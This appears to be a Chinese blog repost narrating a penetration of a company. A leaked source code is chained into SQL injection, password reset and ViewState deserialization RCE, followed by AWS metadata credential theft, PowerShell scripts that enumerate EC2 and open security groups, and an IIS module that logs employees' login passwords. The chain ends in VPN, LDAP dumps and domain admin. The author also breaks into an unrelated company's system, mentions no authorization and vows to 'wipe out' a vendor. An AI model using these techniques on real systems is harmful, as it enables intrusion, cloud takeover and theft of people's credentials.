一次取巧的渗透经历

admin 2023年12月13日16:48:25评论54 views字数 8660阅读28分52秒阅读模式

一次取巧的渗透经历

在2023年5月份,我曾经搜集过一次这个目标的资产,但可惜当时没有任何操作的机会。

然而,在2023年12月份再次审查这个目标时,我发现在GitHub上有一份源代码泄露,而且是在六月份之前上传的。这个巧合实在令人惊讶。(渗透结束后,GitHub上的源代码也被删除了)。我个人认为这个案例相当有趣,所以决定分享出来。

此次的渗透就以源码泄露为起点。


入口点

通过泄露的源码在公网上找到了对应的web系统,但与其源有差异,通过fofa搜索相关资产进行对照也验证了这一点。这里只能对目标的源码进行审计。

代码审计 & 漏洞分析

审计的利用链:SQL注入非ldap用户的用户名 --> 任意密码重置 --> 反序列化RCE

SQL注入

对应方法实现如下:一次取巧的渗透经历

SQL语句直接进行了字符串拼接,存在联合注入。

任意用户密码重置

重置密码的实现类为ForgotPasswordNew,代码入口进行分析:

一次取巧的渗透经历

这里的Mession.clsParam.GetValue("Active")作用是判断Active参数是否为空,不为空则将数据解密,然后提取其中的用户名和密码传入到ForgottenPassword()

ForgottenPassword方法作用是重置用户名密码,实现如下

一次取巧的渗透经历

这里最终调用UMS_********_ResetPass存储过程执行SQL语句,因为用户名和密码均可控,所以能够实现修改任意用户密码进入后台。

RCE反序列化

对应的实现类在Editpage中,同时继承了CustomPage类一次取巧的渗透经历

追溯到CustomPage,可以看到LoadPageStateFromPersistenceMedium方法中有着很明显的反序列化逻辑。

一次取巧的渗透经历

获取__CUSTOMVIEWSTATE参数,解码解压缩之后进行反序列化,看看解压缩的实现:

在ViewStateCompressor类,该类提供了两个方法即压缩/解压缩

一次取巧的渗透经历

直接用CompressViewState方法构造POC,经过上面的处理逻辑后通过LosFormatter反序列化为任意类型,直接使用yso的链子即可。

漏洞利用

SQL注入一次取巧的渗透经历

任意用户密码重置

一次取巧的渗透经历

RCE反序列化一次取巧的渗透经历

通过上面三个漏洞组成的利用链即可getshell。

因为目标使用了ldap认证登录,本以为getshell之后便能进内网,没想到还是太乐观了,事情没有那么简单。

信息进一步收集及思路整理

getshell之后进行信息收集,发现在ldap之前走了一层web代理

一次取巧的渗透经历

这里的 api_username 及 api_password 大概率不是ldap的用户,仅仅只是接口的认证用户。

查看目标数据库,发现ldap用户基本上都没有密码,那就代表之前并没有使用ldap认证,是后来才加的,不过这也给我们提供了一些常用的密码及历史密码用来爆破。

确定带有密文且现在为ldap认证的用户

一次取巧的渗透经历

可以看出password是加密的

那么目前需要做的是:

  1. 收集ldap用户名

  2. 密码解密

  3. 爆破

密码解密这部分不过多赘述。

爆破最后选择的是其他接口(后面会进行解释),因为有这台机器,一些公网不能访问的资产也可以访问到,其中就包括sso,不过很奇怪,这个sso也仅仅只做认证校验,而没有其他任何的功能。

LDAP用户名

一次取巧的渗透经历

共计271个,数量可观

爆破

一次取巧的渗透经历

运气不错,爆破出了一个账号。

这里我就要解释一下,为什么不用之前的api接口:在查看代码的时候,发现该接口需要提供一个正确的用户账号密码。为了保证爆破不存在误差,所以选择了其他接口。

不过在api的接口中发现了一个很有意思的参数SearchUserInfomation,照字面意思应该是可以搜索用户信息,如果可以带上通配符或者它是模糊查询,那理论上就可以将全部用户down出来。

构造接口说干就干。

查询测试

一次取巧的渗透经历

当我们输入字符串aa时,有一个结果为caav,那就代表该接口可以模糊查询。

那我们将26个英文字母的所有两个字母的组合跑一遍,即可获取到非一位字母及非纯数字用户的所有用户的信息。

去重之后最终的结果是13075个用户信息,且百分百准确。一次取巧的渗透经历

然后用这些用户再去跑一遍弱口令,加上之前的一个也仅仅只获得了5个正确的用户账号密码。

到这里实际上还没进域,且还离得很远。

AWS云渗透

做了上述的操作之后,转头回来看看机器。

现在可以确定的是该机器非域内用户且是aws云机器,那么就往云上靠靠。

云的信息收集

关于云的机器,我平常只关心两个信息点

1. http://169.254.169.254/latest/user-data
2. http://169.254.169.254/latest/meta-data/iam/security-credentials

user-data在我的理解中是用户数据脚本,当机器开机时会读取用户数据脚本中的命令并执行。

看看目标的user-data

一次取巧的渗透经历

中奖了,可以获取某个administrators组用户的密码,但是前提条件是要有一个accesskey能访问到arn:aws:secretsmanager

接下来看看关于accesskey的操作。

在云机器中,http://169.254.169.254/latest/meta-data/iam/security-credentials该链接下可能会存在临时token,而临时token的权限大小也是有管理员把控的,且临时token是否可以使用也完全是运气成分。

获取临时token

一次取巧的渗透经历

一次取巧的渗透经历

临时token的使用

我这里选择的是AWSPowerShell

# 导入模块
1. Remove-AWSCredentialProfile -ProfileName test

# 导入临时token
2. Set-AWSCredentials -AccessKey AccessKey -SecretKey SecretKey  -SessionToken ISessionToken -StoreAs test

# 设置token的区域
3. Initialize-AWSDefaultConfiguration -ProfileName test -Region ap-southeast-1

## 验证token是否有效
4. Get-STSCallerIdentity

一次取巧的渗透经历

这里验证key是有效的,那么就来生成刚刚user-data中的密码

一次取巧的渗透经历

成功,没有任何问题。

接下来就是利用密码复用拿下更多的机器,因为我们获取到了token,在权限足够的情况下是可以直接列出机器信息的。

这里附上我修改的ps1代码,原版来自于网络:

$ec2List = Get-EC2Instance -Filter @{'name'='instance-state-name';'values'='running'

$ec2DetailsList = $ec2List.Instances | ForEach-Object {
    $properties = [ordered]@{
        Name           = ($_ | Select-Object -ExpandProperty tags | Where-Object -Property Key -eq Name).value
        InstanceID     = $_.InstanceId
        PrivateIP       = $_.PrivateIpAddress
        PublicIp        = $_.PublicIpAddress
        Platform        = $_.Platform
        KeyName         = $_.KeyName
        SecurityGroups  = ($_.SecurityGroups.groupname -join " | ")
        SubnetId        = $_.SubnetId
        InstanceType    = $_.InstanceType
        AmiID           = $_.ImageID
        ImageName       = (Get-EC2Image -ImageId $_.ImageID).Name
    }
    New-Object -TypeName PSObject -Property $properties
}

$ec2DetailsList | Sort-Object -Property ImageName | Export-Csv -Path C:UsersADMINDesktopEc2DetailList.csv -NoTypeInformation

一次取巧的渗透经历


获取到内网ip之后想要直接横向命令执行,但是探测之后发现端口都没开,那就看一下网络安全组的策略

这里也附上代码,同样这个也是有权限的要求的:

function Get-EC2SecurityGroupDetails {
    $securityGroups = Get-EC2SecurityGroup

    foreach ($securityGroup in $securityGroups) {
        $securityGroup.IpPermissions | ForEach-Object {
            [PSCustomObject]@{
                GroupName = $securityGroup.GroupName
                GroupId = $securityGroup.GroupId
                IpProtocol = $_.IpProtocol
                FromPort = $_.FromPort
                ToPort = $_.ToPort
                Ipv4Ranges = $_.Ipv4Ranges.CidrIp -join ', '
            }
        }
    }
}

Get-EC2SecurityGroupDetails | Sort-Object -Property GroupName | Export-Csv -Path "C:UsersADMINDesktopEC2SecurityGroupDetails.csv" -NoTypeInformation

一次取巧的渗透经历

管理员的确做了很严格的限制。接下来的操作就是修改安全组,开放我们想要的端口(图中的3389是不对任何一台机器开放,只对自己开放的)

无奈到了这步之后手里的权限就不太够用了,说实话我也没有太多的思路对aws进行操作了。

这里也附上修改策略组的命令:

# 添加
1. Grant-EC2SecurityGroupIngress -GroupId 'GroupId' -IpPermission @{IpProtocol="tcp"; FromPort="5985"; ToPort="5985"; IpRanges="0.0.0.0/0"}

# 撤销
2. Revoke-EC2SecurityGroupIngress -GroupId 'GroupId' -IpPermission @{IpProtocol="tcp"; FromPort="5985"; ToPort="5985"; IpRanges="0.0.0.0/0"}

这里需要特别注意的是,同一个端口在aws可以设置多次,如果你要修改的端口已经做了强限制,例如只允许本机连接,我建议是开放其他可以操作的端口。

非常戏剧性的是,我在fofa捞相同资产的时候,发现了一个界面很相似的别家公司的同套web系统,我打下之后发现是和目标的这个aws连通的,包括 aws 临时token列出来的机器,由此可以猜测该web系统是由供应商统一部署的,实际上控了别的机器没啥意义,有趣的是这家供应商我在之前也打过,本来觉得没啥用,但白白浪费了我半天时间,等有空了我必把这个供应商给扬了。

柳暗花明又一村

到这实在实在没办法了,再整理一下思路。

  1. 1. 尽可能多的收集资产
  2. 2. 利用web钓鱼

没到万不得已的地步暂时不打算考虑启用钓鱼的方案。

那就再收集更多的东西,这里我的处理方案是:在登录口记录账号密码,利用收集到的账号密码尝试登陆VPN。

程序封装在dll里,懒,不想改,就顺手写了个指定页面过滤指定传参内容的IIS模块,具体就不说了,网上都有。

一次取巧的渗透经历

第二天收集到了将近30个用户,也顺利的搞到了VPN的账号密码。

一次取巧的渗透经历

被分配到了172.16.*的C段

一次取巧的渗透经历

DNS给的是172.30.*的C段,尝试该DNS服务器是否是DC

一次取巧的渗透经历

一次取巧的渗透经历

boom!!!中奖!!!

目前掌握域的账号密码,已经可以连通DC的389、88端口,那么可以做更多的尝试。

先把完整LDAP的信息导出,用ADExplorer.exe或其他工具,我这里使用的是pywerview,这里把命令给出来

# 获取全部用户信息
pywerview get-netuser -w DOMAIN -u USER -p PWD --dc-ip DCIP  > netuser.target.txt

# 获取admincount=1的用户
pywerview get-netuser -w DOMAIN -u USER -p PWD --dc-ip DCIP --admin-count > netuser.target.txt

# 获取全部机器信息
pywerview get-netcomputer -w DOMAIN -u USER -p PWD --dc-ip DCIP --full-data > netuser.target.txt

# 获取其他信息可自行查看,这里只列出部分命令

探测各种域漏洞....不过都不存在。这里要讲一下关于adcs的坑。:

因为我的环境是新装的,使用adcs的工具certipy遇到了各种奇奇怪怪的问题,这里我列出来一下,各位有遇到的可参考。

首先遇到的问题是ldap3.core.exceptions.LDAPSocketOpenError: socket ssl wrapping error: [Errno 104] Connection reset by peer

一次取巧的渗透经历

一次取巧的渗透经历

网上查了各种文章,最后的解决方案是:

# vim /etc/ssl/openssl.cnf
# openssl_conf = default_conf
# 在最后添加
[ default_conf ]
ssl_conf = ssl_sect
[ssl_sect]
system_default = ssl_default_sect
[ssl_default_sect]
MinProtocol = TLSv1
CipherString = DEFAULT:@SECLEVEL=1

# 参考文章 https://takraw-s.medium.com/fix-errors-socket-ssl-wrapping-error-errno-104-connection-reset-by-peer-9c63c551cd7

遇到的第二个问题是[-] Got error: unsupported hash type MD4

一次取巧的渗透经历

解决方案是:

pip3 install pycryptodome --break-system-packages

好不容易跑起来,又遇到了一个问题AttributeError: module 'enum' has no attribute '_decompose'

一次取巧的渗透经历

一次取巧的渗透经历

这里的解决方案是:

将_decompose函数添加回/usr/lib/python3.11/enum.py中(这里路径可能不相同,我使用的是kali)

def _decompose(flag, value):
    """
    Extract all members from the value.
    """

    # _decompose is only called if the value is not named
    not_covered = value
    negative = value < 0
    members = []
    for member in flag:
        member_value = member.value
        if member_value and member_value & value == member_value:
            members.append(member)
            not_covered &= ~member_value
    if not negative:
        tmp = not_covered
        while tmp:
            flag_value = 2 ** _high_bit(tmp)
            if flag_value in flag._value2member_map_:
                members.append(flag._value2member_map_[flag_value])
                not_covered &= ~flag_value
            tmp &= ~flag_value
    if not members and value in flag._value2member_map_:
        members.append(flag._value2member_map_[value])
    members.sort(key=lambda m: m._value_, reverse=True)
    if len(members) > 1 and members[0].value == value:
        # we have the breakdown, don't need the value member itself
        members.pop(0)
    return members, not_covered

#参考文章:https://github.com/ly4k/Certipy/issues/108

不过这个问题只会在python3.11上遇到。

不存在域漏洞,那么怎么办呢?继续看机器。

但是经过测试,VPN只能通同网段DC,不其他网段的DC,且不通其他任何一台机器,应该是做了限制。到这又陷入了僵局。

只能继续看看其他资产,记录web的账号密码,万一记录到域管的密码也说不定。

草草收场

是的,这个标题,预示着web系统记录到了域管的账号密码。

使用impacket包的tstool列出机器进程(kali自带的impacket没有这个脚本,自己自行安装):

python3 tstool.py domain/user:pass@host tasklist

一次取巧的渗透经历

Trellix,麦咖啡与火眼的新产品,平民产品,没有火眼那么牛逼,直接命令执行。

这里使用的是wmiexec-Pro,直接探测DC是否出网(如果不是气急败坏一般不建议这样做)

一次取巧的渗透经历

运气不是一般好,DC也出网....

到这基本上整个渗透就结束啦,虽然看着篇幅很短不过的确做了非常多的尝试,下面还有一些VPN环境下渗透的小Tips...

VPN环境下的渗透

目标VPN产品Global Protect在linux连接上有个坑,具体原因不知,不过最后是找到了解决方案:

sudo openconnect --protocol=gp url --os=win

其实有了VPN权限之后渗透会轻松很多,但也会遇到和我同样的情况,ACL的限制导致只能通DC的一些端口,但这是VPN本身的限制,但是如果我们自行添加网段呢?

上面重码,导致看不到DC IP的C段,DC IP段为:172.30.81.1/24

着重关注LDAP信息中的MIS、IT等机器,尽可能收集多的IP段,以这个目标为例,我们收集到了172.30.80.1/24为目标的MIS、IT常用段,添加网段:

# windows
route add 172.30.80.0 MASK 255.255.255.0 172.30.81.32
route delete 172.30.80.0 MASK 255.255.255.0 172.30.81.32

# linux
route add -net 172.30.80.0 gw 172.30.81.32 netmask 255.255.255.0
route delete -net 172.30.80.0 gw 172.30.81.32 netmask 255.255.255.0

一次取巧的渗透经历

添加了之后会发生什么呢?具体请看图:

一次取巧的渗透经历

是的,能扫描更多的信息了。

如果web系统没记录到密码呢?下步的操作应该就是打图中的PMP系统了,探测了一下的确是存在漏洞的。

不过一切都结束了,这个项目到目前耗费了将近一周的时间,接下来就到了资产分析以及找我们想要的东西的环节了,这里就不赘述了。感谢观看~


原文始发于微信公众号(低级间歇性威胁):一次取巧的渗透经历

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月13日16:48:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一次取巧的渗透经历http://cn-sec.com/archives/2292878.html

发表评论

匿名网友 填写信息